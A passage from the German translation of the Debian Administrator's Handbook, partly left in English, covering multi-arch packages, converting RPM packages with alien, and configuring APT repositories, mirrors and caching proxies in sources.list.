Um multi-arch tatsächlich nützlich und nutzbar zu machen, mussten Bibliotheken neu gepackt und in ein architekturspezifisches Verzeichnis verschoben werden, damit mehrere Kopien (für verschiedene Architekturen) nebeneinander installiert werden können. Solche aktualisierten Pakete enthalten das Headerfeld "Multi-Arch: same", um dem Verpackungssystem mitzuteilen, dass die verschiedenen Architekturen des Pakets sicher gemeinsam installiert werden können (und dass diese Pakete nur Abhängigkeiten von Paketen der gleichen Architektur erfüllen können). Die wichtigsten Bibliotheken wurden seit der Einführung von Multi-Arch in Debian 7 Wheezy konvertiert, aber es gibt viele Bibliotheken, die wahrscheinlich nie konvertiert werden, es sei denn, jemand fordert dies ausdrücklich an (z. B. durch einen Fehlerbericht).

$ dpkg -s gcc-9-base dpkg-query: error: --status needs a valid package name but 'gcc-9-base' is not: ambiguous package name 'gcc-9-base' with more than one installed instance Use --help for help about querying packages. $ dpkg -s gcc-9-base:amd64 gcc-9-base:armhf | grep ^Multi Multi-Arch: same Multi-Arch: same $ dpkg -L libgcc-s1:amd64 |grep .so /lib/x86_64-linux-gnu/libgcc_s.so.1 $ dpkg -S /usr/share/doc/gcc-9-base/copyright gcc-9-base:amd64, gcc-9-base:armhf: /usr/share/doc/gcc-9-base/copyright

Es sollte darauf hingewiesen werden, dass Multi-Arch: same Pakete im Namen den Hinweis auf die Architektur enthalten müssen, um eindeutig erkennbar zu sein. Auch können sie Dateien mit anderen Instanzen des gleichen Pakets teilen. Der Befehl dpkg stellt sicher, dass gemeinsam genutzte Dateien auf Bit-Ebene identisch sind. Und nicht zuletzt müssen alle Instanzen eines Pakets den gleichen Versionsstand haben. Sie müssen also auch gleichzeitig aktualisiert werden.

Multi-Arch birgt noch einige weitere interessante Herausforderungen im Hinblick darauf, wie Abhängigkeiten gehandhabt werden. Um einer Abhängigkeit zu genügen, muss ein Paket entweder als “Multi-Arch: foreign” gekennzeichnet sein, oder seine Architektur muss mit derjenigen des Pakets übereinstimmen, das die Anhängigkeit festgelegt hat. Eine Architekturfestlegung kann auch noch dadurch auf alle möglichen Architekturen ausgeweitet werden, wenn package:any angegeben wird, aber architekturfremde Pakete können dieser Anforderung nur genügen, wenn sie als “Multi-Arch: allowed” gekennzeichne sind.

5.5. Koexistenz mit anderen Paketierungssystemen

Debian-Pakete sind nicht die einzigen in der freien Software-Welt verwendeten Software-Pakete. Hauptkonkurrent ist das RPM-Format der Red Hat Linux Distribution und seine zahlreichen Abkömmlinge. Red Hat ist eine sehr populäre kommerzielle Distribution. Häufig wird von Drittanbietern bereitgestellte Software als RPM-Paket angeboten und nicht als Debian.

Für diese Fälle sollten Sie wissen, dass das Programm rpm, das mit RPM-Paketen umgeht, als Debian-Paket verfügbar ist, so dass es möglich ist, dieses Paketformat auf Debian zu verwenden. Dabei sollte jedoch beachtet werden, diese Verarbeitungen darauf zu beschränken, Informationen aus dem Paket zu gewinnen oder seine Unversehrtheit zu überprüfen. Es ist dagegen unsinnig, rpm zur Installation eines RPM-Pakets auf einem Debian-System zu verwenden. RPM benutzt seine eigene Datenbank, die von denen für systemeigene Programme (wie zum Beispiel dpkg) verschieden ist. Daher kann eine stabile Koexistenz zweier Paketverwaltungssysteme nicht sichergestellt werden.

Dagegen kann das Programm alien RPM-Pakete in Debian-Pakete umwandeln und umgekehrt.

GEMEINSCHAFT Die Einführung von .deb fördern

If you regularly use the alien program to install RPM packages coming from one of your providers, do not hesitate to write to them and amicably express your strong preference for the .deb format. Note that the format of the package is not everything: a .deb package built with alien or prepared for a version of Debian different than that which you use, or even for a derivative distribution like Ubuntu, would probably not offer the same level of quality and integration as a package specifically developed for Debian Bullseye.

$ fakeroot alien --to-deb phpMyAdmin-5.1.1-2.fc35.noarch.rpm [..] Warning: Skipping conversion of scripts in package phpMyAdmin: postinst Warning: Use the --scripts parameter to include the scripts. [..] phpmyadmin_5.1.1-3_all.deb generated $ ls -sh phpmyadmin_5.1.1-3_all.deb 6,0M phpmyadmin_5.1.1-3_all.deb $ dpkg -c phpmyadmin_5.1.1-3_all.deb drwxr-xr-x root/root 0 2021-08-09 02:02 ./ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/conf.d/ -rw-r--r-- root/root 1181 2021-07-27 09:32 ./etc/httpd/conf.d/phpMyAdmin.conf drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/default.d/ -rw-r--r-- root/root 430 2021-07-27 09:32 ./etc/nginx/default.d/phpMyAdmin.conf drwxr-x--- root/root 0 2021-08-09 02:02 ./etc/phpMyAdmin/ -rw-r----- root/root 4546 2021-07-27 09:34 ./etc/phpMyAdmin/config.inc.php drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/doc/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/doc/phpMyAdmin/ [..] $ dpkg -I phpmyadmin_5.1.1-3_all.deb new Debian package, version 2.0. size 6195324 bytes: control archive=44444 bytes. 102 bytes, 3 lines conffiles 593 bytes, 15 lines control 180405 bytes, 1919 lines md5sums 448 bytes, 11 lines * postinst #!/bin/sh Package: phpmyadmin Version: 5.1.1-3 Architecture: all Maintainer: Daniel Leidert <dleidert@debian.org> Installed-Size: 40693 Section: alien Priority: extra Description: A web interface for MySQL and MariaDB phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the Web. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields, manage privileges,export data into various formats and is available in 50 languages . (Converted from a rpm package by alien version 8.95.4.)

Sie werden feststellen, dass dieses Verfahren sehr einfach ist. Sie müssen jedoch wissen, dass das so erstellte Paket keinerlei Informationen über Abhängigkeiten enthält, da die Abhängigkeiten in den beiden Paketformaten keine systematische Entsprechung haben. Der Administrator muss daher manuell sicherstellen, dass das konvertierte Paket richtig funktioniert, und aus diesem Grund sollten so erzeugte Debian-Pakete möglichst vermieden werden. Glücklicherweise hat Debian von allen Distributionen die größte Sammlung an Softwarepaketen, und es ist wahrscheinlich, dass das, was Sie suchen, bereits darin vorhanden ist.

Wenn Sie sich die Man-Page für das Programm alien ansehen, werden sie feststellen, dass es auch andere Paketformate verarbeiten kann, vor allem solche der Slackware-Distribution (sie sind einfache tar.gz Archive).

Die Stabilität der Software, die unter Verwendung des Programms dpkg zum Einsatz gebracht wird, trägt zu Debians gutem Ruf bei. Die Programmgarnitur APT, die im folgenden Kapitel beschrieben wird, bewahrt diesen Vorzug, während sie gleichzeitig den Administrator davon entlastet, den Status von Paketen verwalten zu müssen, eine notwendige aber schwierige Aufgabe.

Kapitel 6. Wartung und Aktualisierung: Die APT-Tools

Dass Debian bei Administratoren so beliebt ist, liegt an der einfachen Installation von Software und daran, wie einfach es aktuell gehalten werden kann. Dieser einzigartige Vorteil rührt weitestgehend vom Programm APT, dessen Funktionen sich die Administratoren von Falcot Corp mit Begeisterung angeeignet haben.

APT is the abbreviation for Advanced Packaging Tool. What makes this program “advanced” is its approach to packages. It doesn't simply evaluate them individually, but it considers them as a whole and produces the best possible combination of packages depending on what is available and compatible according to dependencies.

WÖRTERVERZEICHNIS Paketquellen und Quellpakete

Der Begriff Quelle wird mehrdeutig verwendet. Ein "Quellpaket" – ein Paket, das den Quelltext eines Programms enthält – sollte nicht mit einer "Paketquelle" verwechselt werden – einem Depot (Website, FTP Server, CD-ROM, lokales Verzeichnis, etc.), das Pakete zur Verfügung stellt.

APT muss eine "Liste der Paketquellen (Repositorys)" erhalten: Die Datei /etc/apt/sources.list listet die verschiedenen Repositories auf, die Debian-Pakete veröffentlichen. APT importiert dann die Liste der Pakete, die von jeder dieser Quellen veröffentlicht werden. Dieser Vorgang wird erreicht, indem Packages.xz Dateien oder eine Variante wie Packages.gz oder .bz2 (mit einer anderen Kompressionsmethode) im Falle einer Quelle von Binärpaketen heruntergeladen und deren Inhalt analysiert wird. Im Falle einer Quelle von Quellpaketen lädt APT Sources.xz-Dateien oder eine Variante mit einer anderen Kompressionsmethode herunter. Wenn eine alte Kopie dieser Dateien bereits vorhanden ist, kann APT sie aktualisieren, indem sie nur die Unterschiede herunterlädt (siehe Seitenleiste TIPP Inkrementelle Aktualisierungen).

ZURÜCK ZU DEN GRUNDLAGEN gzip, bzip2, LZMA und XZ Komprimierung

Die Endung .gz kennzeichnet eine Datei, die mit dem Dienstprogramm gzip komprimiert wurde. gzip ist ein schnelles und effizientes traditionelles Unix-Dienstprogramm zum Komprimieren von Dateien. Neuere Werkzeuge erreichen bessere Komprimierungsraten, benötigen aber mehr Resourcen (Rechenzeit und Hauptspeicher), um eine Datei zu (de-)komprimieren. Dazu gehören, in der Reihenfolge ihrer Einführung, bzip2 (erzeugt Dateien mit der Endung .bz2 ) lzma (erzeugt .lzma Dateien) und xz (erzeugt .xz Dateien).

6.1. Befüllen der sources.list Datei

6.1.1. Syntax

Jede aktive Zeile in der Datei /etc/apt/sources.list stellt eine Paketquelle (Repository) dar und besteht aus mindestens drei durch Leerzeichen getrennten Teilen. Eine vollständige Beschreibung des Dateiformats und der akzeptierten Eintragszusammenstellungen finden Sie unter sources.list(5).

Beispiel 6.1. Beispiel-Eingabeformat in /etc/apt/sources.list

deb url distribution component1 component2 component3 [..] componentX deb-src url distribution component1 component2 component3 [..] componentX

Das erste Feld bezeichnet die Art der Quelle:

deb

Paketquelle (Repository) von Binärpaketen

deb-src

Paketquelle (Repository) von Quellpaketen

The second field gives the base URL of the source. Combined with the filenames listed in the Packages.xz files, it must give a full and valid URL. This can consist in a Debian mirror or in any other package archive set up by a third party. The URL can start with file:// to indicate a local source installed in the system's file hierarchy, with http:// or https:// to indicate a source accessible from a web server, or with ftp:// or ftps:// for a source available on an FTP server. The URL can also start with cdrom: for CD-ROM/DVD/Blu-ray disc based installations, although this is less frequent, since network-based installation methods are eventually more common. More methods like ssh:// or tor+http(s):// are supported and are either described in sources.list(5) or their respective apt-transport-method package documentation.

The syntax of the last field depends on the structure of the repository. In the simplest case, you can simply indicate a subdirectory (with a required trailing slash) of the desired source. This is often a simple “./” which refers to the absence of a subdirectory. The packages are then directly at the specified URL. But in the most common case, the repositories will be structured like a Debian mirror, with multiple distributions, each having multiple components. In those cases, name the chosen distribution by its “codename” — see the list in sidebar GEMEINSCHAFT Bruce Perens, ein umstrittener Leiter — or by the corresponding “suite” (oldoldstable, oldstable, stable, testing, unstable) and then the components to enable. A typical Debian mirror provides the components main, contrib, and non-free.

WÖRTERVERZEICHNIS Die main, contrib und non-free Archive

Debian uses three components to differentiate packages according to the licenses chosen by the authors of each work. Main gathers all packages which fully comply with the Debian Free Software Guidelines.

Die non-free-Komponente ist anders, da sie Software umfasst, die diesen Richtlinien nicht (vollständig) entspricht, aber trotzdem ohne Einschränkungen verteilt werden darf. Dieses Archiv, das nicht offiziell zu Debian gehört, ist ein Service für Anwender, die einige dieser Programme brauchen und heutzutage Firmware für ihre Hardware benötigen. Allerdings empfiehlt Debian, freier Software immer den Vorzug zu geben. Die Existenz diesee Komponente stellt ein beträchtliches Problem für Richard M. Stallman dar und hält die Free Software Foundation davon ab, Benutzern Debian zu empfehlen.

Contrib (contributions, Beiträge) ist eine Sammlung von quelloffener Software, die für ihre Funktion auf nicht-freie Elemente angewiesen ist. Dabei kann es sich um Software aus dem non-free Bereich handeln oder um nicht-freie Daten wie Spiele-ROMs, BIOS von Spielkonsolen usw. - oder auch Elemente, die nicht aus dem Debian main-Archiv erhältlich sind. Die Contrib-Komponente enthält auch freie Software, die proprietäre Bestandteile zur Übersetzung benötigt. Dies war anfänglich bei der OpenOffice.org Büro-Suite der Fall, die eine proprietäre Java Umgebung benötigte.

TIPP Dateien in /etc/apt/sources.list.d/

Falls viele Paketquellen benannt werden, kann es nützlich sein, diese in mehrere Dateien aufzuteilen. Jeder Teil wird dann in /etc/apt/sources.list.d/Dateiname.list gespeichert (siehe die Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Auf .d endende Verzeichnisse).

Der Eintrag cdrom beschreibt die vorhandenen CDs/DVDs. Anders als die anderen Quellen, ist eine CD/DVD-ROM nicht immer zugreifbar, sie muss ja zuerst in das Laufwerk eingelegt werden und zudem kann immer nur eine Scheibe zu einer Zeit gelesen werden. Deshalb werden diese Quellen ein klein wenig anders gehandhabt und müssen mit dem Befehl apt-cdrom hinzugefügt werden, üblicherweise ausgeführt mit dem Parameter add. Letzterer fordert Sie dann auf, die CD-ROM in das Laufwerk einzulegen, um dann deren Inhalt nach Paket-Dateien zu durchsuchen. Das Programm nutzt diese Dateien, um die Datenbank verfügbarer Pakete zu aktualisieren (dies geschieht für gewöhnlich mit dem Befehl apt update). Von da an kann APT auffordern, die CD-ROM einzulegen, falls es eines der darauf befindlichen Pakete benötigt.

6.1.2. Repositorien für Stable Benutzer

Hier ist eine standardmäßige sources.list für ein System, auf welchem eine Stable-Version von Debian läuft:

Beispiel 6.2. /etc/apt/sources.list-Datei für Debian Stable

# Security updates deb http://security.debian.org/ bullseye-security main contrib non-free deb-src http://security.debian.org/ bullseye-security main contrib non-free ## Debian mirror # Base repository deb https://deb.debian.org/debian bullseye main contrib non-free deb-src https://deb.debian.org/debian bullseye main contrib non-free # Stable updates deb https://deb.debian.org/debian bullseye-updates main contrib non-free deb-src https://deb.debian.org/debian bullseye-updates main contrib non-free # Stable backports deb https://deb.debian.org/debian bullseye-backports main contrib non-free deb-src https://deb.debian.org/debian bullseye-backports main contrib non-free

This file lists all sources of packages associated with the Bullseye version of Debian (the current Stable suite as of this writing). In the example above, we opted to name “bullseye” explicitly instead of using the corresponding “stable“ aliases (stable, stable-updates, stable-backports) because we don't want to have the underlying distribution changed outside of our control when the next stable release comes out.

Most packages will come from the “base repository”, which contains all packages but is seldom updated (about once every 2 months for a “point release”). The other repositories are partial (they do not contain all packages) and can host updates (packages with newer version) that APT might install. The following sections will explain the purpose and the rules governing each of those repositories.

Man muss wissen, dass, wenn die benötigte Version eines Paketes in mehreren Repositories verfügbar ist, das zuerst in der Liste sources.list aufgeführte verwendet wird. Aus diesem Grund werden nicht offizielle Bezugsquellen üblicherweise ans Ende der Liste gesetzt.

Nebenbei bemerkt trifft das meiste in diesem Abschnitt über Stable gesagte gleichermaßen auf Oldstable zu, denn letztere ist ja nichts anderes als eine ältere Stable, die parallel gepflegt wird.

6.1.2.1. Sicherheitsaktualisierungen

Debian nimmt Sicherheit ernst. Bekannte Software-Schwachstellen in Debian werden im Security Bug Tracker nachverfolgt und in der Regel in einem angemessenen Zeitrahmen behoben. Die Sicherheitsaktualisierungen werden nicht auf dem üblichen Netzwerk von Debian-Spiegeln vorgehalten, sondern auf security.debian.org, einer kleinen Gruppe von Maschinen, die von den Debian System Administratoren betreut werden. Dieses Archiv enthält Sicherheitsaktualisierungen, erstellt vom Debian Security Team und/oder von den Paketbetreuern, für die Stable- und Oldstable-Distribution.

The server can also host security updates for Testing but this doesn't happen very often since those updates tend to reach that suite via the regular flow of updates coming from Unstable.

Bei schwerwiegenden Problemen gibt das Sicherheitsteam eine Debian-Sicherheitsempfehlung (DSA) aus und kündigt sie zusammen mit der Sicherheitsaktualisierung auf der <debian-security-announce@lists.debian.org> Mailingliste an (Archiv).

6.1.2.2. Stable-Aktualisierungen

Stable-Aktualisierungen sind nicht sicherheitsrelevant, werden aber als wichtig genug erachtet, um sie den Anwendern vor der nächsten Stable Release aufzuspielen.

Dieses Repository enthält üblicherweise Korrekturen für kritische und schwere Fehler, die vor dem Release nicht behoben werden konnten oder die sich mit nachfolgenden Aktualisierungen eingeschlichen haben. Je nach Dringlichkeit können auch Aktualisierungen für Pakete enthalten sein, die regelmäßig auf einen aktuellen Stand gebracht werden müssen, wie die Spam-Erkennungsregeln von spamassassin, die Viren-Datenbank von clamav, die Sommerzeit-Regelungen aller Zeitzonen (tzdata), die ESR-Version von Firefox (firefox-esr) oder kryptografische Schlüsselringe wie debian-archive-keyring.

In der Praxis ist dieses Repository eine Teilmenge des proposed-updates-Repositorys, das sorgfältig von den Stable-Release-Betreuern ausgewählt wurde. Alle Updates werden auf der <debian-stable-announce@lists.debian.org> Mailingliste (archive) angekündigt und in der nächsten Stable Punktveröffentlichung sowieso aufgenommen.

6.1.2.3. Proposed Updates

Einmal veröffentlicht, wird die Distribution Stable nur noch etwa alle 2 Monate aktualisiert. Im proposed-updates-Repository werden die vorgesehenen Aktualisierungen vorbereitet (kontrolliert von den Stable-Release-Betreuern).

Sowohl die Aktualisierungen von Stable als auch diejenigen zur Behebung von Sicherheitslücken, die in den voranstehenden Abschnitten beschrieben wurden, sind immer in diesem Repository enthalten, aber mehr noch, es bietet den Betreuern die Gelegenheit, wesentliche Fehler zu beheben, die kein sofortiges Release rechtfertigen.

Anyone can use this repository to test those updates before their official publication. The extract below uses the bullseye-proposed-updates alias which is both more explicit and more consistent since buster-proposed-updates also exists (for the Oldstable updates):

deb https://deb.debian.org/debian bullseye-proposed-updates main contrib non-free

6.1.2.4. Stable Backports

Das stable-backports-Repository enthält "rückportierte Pakete". Der Ausdruck beschreibt ein Paket mit kürzlich erschienener Software, das für eine ältere Distribution neukompiliert wurde, im Allgemeinen für Stable.

Wenn eine Distribution älter wird, haben viele Software-Projekte bereits neuere Versionen veröffentlicht, die nicht in die gegenwärtige Stable-Suite integriert werden, welche nur verändert wird, um die kritischsten Probleme, wie Sicherheitslücken, zu behandeln. Weil die Distributionen Testing und Unstable-Suiten risikobehaftet sein können, bieten einige Paketbetreuer manchmal freiwillig Neukompilierungen neuerer Software-Anwendungen für Stable an, was für Benutzer und Administratoren den Vorteil hat, mögliche Instabilitäten auf eine kleine Anzahl ausgewählter Pakete zu begrenzen. Die Seite https://backports.debian.org/ liefert weitere Informationen.

Rückportierungen in stable-backports werden nur aus Paketen erzeugt, die in Testing vorhanden sind. Das stellt sicher, dass alle installierten Rückportierungen auf die zugehörige Stable-Version aktualisierbar sind, sobald das nächste Stable-Release verfügbar ist.

Obwohl dieses Repository neuere Versionen von Pakten zur Verfügung stellt, werden diese von APT nicht installiert, es sei denn, Sie geben ausdrückliche Anweisungen, das zu tun (oder haben das schon bei einer früheren Version der betreffenden Rückportierung gemacht):

$ sudo apt-get install package/bullseye-backports $ sudo apt-get install -t bullseye-backports package

6.1.3. Repositories für Testing/Unstable Anwender

Hier ist eine standardmäßige sources.list für ein System, auf welchem entweder die Version Testing oder Unstable läuft:

Beispiel 6.3. Beispoieldatei /etc/apt/sources.list für Debian-Anwender von Testing/Unstable

# Unstable deb https://deb.debian.org/debian unstable main contrib non-free deb-src https://deb.debian.org/debian unstable main contrib non-free # Testing deb https://deb.debian.org/debian testing main contrib non-free deb-src https://deb.debian.org/debian testing main contrib non-free # Testing security updates deb http://security.debian.org/ testing-security main contrib non-free deb-src http://security.debian.org/ testing-security main contrib non-free # Stable deb https://deb.debian.org/debian stable main contrib non-free deb-src https://deb.debian.org/debian stable main contrib non-free # Stable security updates deb http://security.debian.org/ stable-security main contrib non-free deb-src http://security.debian.org/ stable-security main contrib non-free

ANMERKUNG Aufbau von Sicherheits-Repositorys

Starting with Debian 11 Bullseye, the codename of the repository providing security updates has been renamed from codename/updates into codename-security to avoid the confusion with codename-updates (see Abschnitt 6.1.2.2, „Stable-Aktualisierungen“).

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive

Mit dieser sources.list wird APT Pakete von der Unstable-Suite installieren. Ist das nicht gewollt, verwenden Sie die Einstellung APT::Default-Release (siehe Abschnitt 6.2.3, „Das System aktualisieren“) um APT anzuweisen, Pakete von einer anderen Suite auszuwählen (in diesem Fall vermutlich Testing).

There are good reasons to include all those repositories, even though a single one should be enough. Testing users will appreciate the possibility to cherry-pick a fixed package from Unstable when the version in Testing is affected by an annoying bug. On the other hand, Unstable users bitten by unexpected regressions have the possibility to downgrade packages to their (supposedly working) Testing version.

Die Aufnahme von Stable ist umstrittener, bietet jedoch häufig Zugriff auf einige Pakete, die aus den Entwicklungsversionen entfernt wurden. Außerdem wird sichergestellt, dass Sie die neuesten Updates für Pakete erhalten, die seit der letzten stabilen Version nicht geändert wurden.

6.1.3.1. Das Paketdepot Experimental

Das Archiv von Paketen in Experimental ist auf allen Debian-Spiegelservern vorhanden und enthält Pakete, die aufgrund ihrer nicht den Standards entsprechenden Qualität noch nicht in Unstable sind – oft sind es Entwicklerversionen oder Vorab-Versionen (Alpha, Beta, Veröffentlichungskandidat…). Ein Paket kann auch dorthin verschoben werden, wenn Änderungen Probleme verursachen können. Der Paketbetreuer versucht diese Probleme dann mit der Hilfe erfahrener Benutzter, die mit problembehafteter Software umgehen können, aufzuspüren. Nach dieser ersten Stufe wird das Paket nach Unstable verschoben, wo es ein viel größeres Publikum erreicht und dadurch viel gründlicher getestet wird.

Generell wird Experimental von Benutzern genutzt, denen es nichts ausmacht, wenn ihr System beschädigt wird und sie es reparieren müssen. Diese Distribution ermöglicht es, ein Paket einzubinden, das ein Benutzer ausprobieren möchte oder weil er es benötigt. Genau das ist die Vorgehensweise von Debian, da das Hinzufügen dieser in APTs sources.list-Datei nicht dazu führt, dass diese Pakete systematisch benutzt werden. Die hinzuzufügende Zeile ist:

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Verwenden alternativer Spiegel

The sources.list examples in this chapter refer to package repositories hosted on deb.debian.org. Those URLs will redirect you to servers which are close to you and which are managed by Content Delivery Networks (CDN) whose main role is to store multiple copies of the files across the world, and to deliver them as fast as possible to users. The CDN companies that Debian is working with are Debian partners who are offering their services freely to Debian. While none of those servers are under direct control of Debian, the fact that the whole archive is sealed by GPG signatures makes it a non-issue.

→ https://deb.debian.org/

Wählerische Benutzer, die mit der Leistung von deb.debian.org nicht zufrieden sind, können versuchen, einen besseren Spiegel in der offiziellen Spiegelliste zu finden:

→ https://www.debian.org/mirror/list

Wenn Sie jedoch nicht wissen, welcher Spiegel für Sie am besten geeignet ist, ist diese Liste nicht sehr nützlich. Zum Glück unterhält Debian DNS-Einträge der Form ftp.Ländercode.debian.org (z. B. ftp.us.debian.org für die USA , ftp.fr.debian.org für Frankreich usw.), die viele Länder abdecken und auf einen (oder mehrere) der besten in diesem Land verfügbaren Spiegel verweisen.

Als Alternative zu deb.debian.org gab es früher httpredir.debian.org. Dieser Dienst würde einen Spiegel in Ihrer Nähe identifizieren (unter der Liste der offiziellen Spiegel, hauptsächlich mit GeoIP) und würde APT-Anfragen an diesen Spiegel umleiten. Dieser Dienst gilt aufgrund von Zuverlässigkeitsbedenken als veraltet und httpredir.debian.org bietet denselben CDN-basierten Dienst wie deb.debian.org.

6.1.5. Inoffizielle Resourcen: mentors.debian.net

Es gibt zahlreiche inoffizielle Debian-Paketquellen, die von fortgeschrittenen Benutzern eingerichtet wurden, die einige Software neu kompiliert haben — Ubuntu machte dies mit ihrem Personal Package Archive-Dienst (PPA) populär — von Programmierern, die ihre Kreation allen zur Verfügung stellen und sogar von Debian-Entwicklern, die Vorabversionen ihres Pakets online anbieten.

Die Adresse mentors.debian.net ist interessant (obwohl sie nur Quellpakete zweier Entwicklergruppen sammelt): Die von Kandidaten für den Status eines offiziellen Debian-Entwicklers und die von Freiwilligen, die Debian-Pakete erstellen wollen, ohne durch den Integrationsprozess zu gehen. Diese Pakete werden ohne jegliche Garantie hinsichtlich ihrer Qualität zur Verfügung gestellt; achten Sie darauf, die Herkunft und Integrität zu prüfen und sie dann zu testen, bevor Sie erwägen, sie produktiv einzusetzen.

GEMEINSCHAFT Die debian.net Sites

Die Domain debian.net ist kein offizieller Bestandteil des Debian-Projekts. Jeder Debian-Entwickler kann diesen Domainnamen für den Eigengebrauch nutzen. Diese (Unter-)Websites können inoffizielle Dienste enthalten (manchmal persönliche Seiten), die auf Servern beherbergt sind, die nicht zum Projekt gehören und von Debian-Entwicklern aufgesetzt wurden. Oder sogar Prototypen, die irgendwann nach debian.org umziehen sollen. Es gibt zwei Gründe, warum diese Prototypen unter debian.net bleiben: Entweder hat niemand die nötige Anstrengung unternommen, sie in einen offiziellen Dienst zu überführen (beherbergt unter der Domain debian.org und mit sichergestellter Wartung), oder der Dienst ist zu umstritten, um offiziell zu werden.

Ein Paket zu installieren bedeutet, dessen Urheber Root-Rechte zu gewähren, da dieser über den Inhalt der Einrichtungsskripte entscheidet, die unter der Paket-Identität ausgeführt werden. Offizielle Debian-Pakete werden von Freiwilligen erstellt, die ausgewählt und überprüft wurden, und die ihre Pakete signieren können, so dass deren Herkunft und Integrität überprüft werden kann.

Seien Sie generell misstrauisch bei einem Paket, dessen Herkunft Sie nicht kennen und das nicht auf einem der offiziellen Debian-Servern beherbergt ist: Erwägen Sie in welchem Maß Sie dem Ersteller vertrauen können, und überprüfen Sie die Integrität des Pakets.

GOING FURTHER Old package versions: snapshot.debian.org and archive.debian.org

The Debian project frequently releases new stable versions of their distribution, rendering old releases eventually outdated and unsupported (see Abschnitt 1.6, „Lebenszyklus einer Veröffentlichung“). The repositories belonging to these releases are then removed from the official mirrors, but can still be accessed using the service at archive.debian.org. Note, that this service allows access to any of the old Debian releases, but does not provide the source package for every binary package offered.

The snapshot.debian.org service, introduced in April 2010, can be used to “go backwards in time” and to find an old binary or source version of a package not longer contained in the Debian archives. It can be used, for example, to identify which version of a package introduced a regression, and more concretely, to come back to the former version while waiting for the regression fix. This service does not only offer source and binary packages from older releases, but also versions superseeded by regular maintainer uploads.

6.1.6. Caching Proxy (Zwischenspeicher) für Debian Pakete

Wenn für ein ganzes Netzwerk der gleiche Server für das Herunterladen der gleichen aktualisierten Pakete konfiguriert wird, weiß jeder Administrator, wie hilfreich ein dazwischengeschalteter Proxy ist, der als lokaler Zwischenspeicher im Netzwerk fungiert (siehe Seitenleiste WÖRTERVERZEICHNIS Cache).

Sie können APT so konfigurieren, dass "standardmäßig" ein Proxy benutzt wird (siehe Abschnitt 6.2.4, „Konfigurationsoptionen“ für die APT-Seite und Abschnitt 11.6, „HTTP/FTP-Proxy“ für die Proxy-Seite), aber das Debian-Ökosystem bietet noch bessere Möglichkeiten für diesen Zweck. Die speziellen Programme, die in diesem Abschnitt vorgestellt werden, sind intelligenter als ein einfacher Cache, denn sie können auf eine spezielle Struktur an APT-Repositories zurückgreifen (beispielsweise wissen sie, ob einzelne Dateien obsolet sind oder nicht, und können so die Vorhaltezeit anpassen).

apt-cacher and apt-cacher-ng arbeiten wie normale Proxy-Server. Die sources.list von APT bleibt unverändert, aber APT ist so konfiguriert, dass es diese als Proxies für ausgehende Anfragen nutzt.

approx auf der anderen Seite, arbeitet wie ein HTTP-Server, der alle im Netz verfügbaren Repositories unter seiner Top-Level-Domain zur Verfügung stellt. Die Verknüpfungen zwischen den entfernten URL's der Repositories und diesen Top-Level-Verzeichnissen sind in /etc/approx/approx.conf gespeichert:

# <name> <repository-base-url> debian https://deb.debian.org/debian security http://security.debian.org/debian-security

approx lauscht standardmäßig über einen systemd-Socket auf Port 9999 und erwartet von den Anwendern, sources.list anzupassen, sodass er auf den Server "approx" zeigt:

# Sample sources.list pointing to a local approx server deb http://localhost:9999/security bullseye-security main contrib non-free deb http://localhost:9999/debian bullseye main contrib non-free

6.2. aptitude, apt-get und apt Befehle

APT ist ein gewaltiges Projekt, dessen ursprünglicher Entwurf eine grafische Schnittstelle vorsah. Es basiert auf einer Bibliothek, die die Kernanwendung enthält und apt-get war das erste Frontend – befehlszeilenbasiert – das innerhalb des Projekts entwickelt wurde. apt ist ein zweites Kommandozeilen-basiertes Frontend von APT, das einige Designfehler von apt-get überwindet.

Both tools are built on top of the same library and are thus very close, but the default behavior of apt has been improved for interactive use and to actually do what most users expect. The APT developers reserve the right to change the public interface of this tool to further improve it. Conversely, the public interface of apt-get is well defined and will not change in any backwards incompatible way. It is thus the tool that you want to use when you need to script package installation requests.

Zahlreiche andere grafische Oberflächen erschienen dann als externe Projekte: synaptic, aptitude (die sowohl eine Textmodus-Oberfläche als auch eine grafische - wenn auch noch nicht vollständig - enthält), wajig, etc. Die empfohlene Schnittstelle, apt, ist diejenige, die wir in den Beispielen in diesem Abschnitt verwenden werden. Beachten Sie jedoch, dass apt-get und aptitude eine sehr ähnliche Befehlszeilen-Syntax haben. Wenn es große Unterschiede zwischen diesen Befehlen gibt, werden diese detailliert.

6.2.1. Initialisierung

For any work with APT, the list of available packages needs to be updated; this can be done simply through apt update. Depending on the speed of your connection and configuration, the operation can take a while, since it involves downloading a certain number of (usually compressed) files (Packages, Sources, Translation-language-code), which have gradually become bigger and bigger as Debian has developed (at least 10-16 MB of data for the main section). Of course, installing from a CD-ROM/DVD set does not require any downloading — in this case, the operation is very fast.

TIPP Inkrementelle Aktualisierungen

The aim of the apt update command is to download for each package source the corresponding Packages (or Sources) file. However, even after a xz compression, these files can remain rather large (the Packages.xz for the main section of Unstable takes more than 8 MB). If you wish to update regularly, these downloads can take up a lot of time.

To speed up the process, APT can download “diff” files containing the changes since the previous update, as opposed to the entire file. To achieve this, official Debian mirrors distribute different files which list the differences between one version of the Packages file and the following version. They are generated at each update of the archives and a history of one week is kept. Each of these “diff” files only takes a few dozen kilobytes for Unstable, so that the amount of data downloaded by a weekly apt update is often divided by 10. For Stable and Testing, which change less, the gain is even more noticeable.

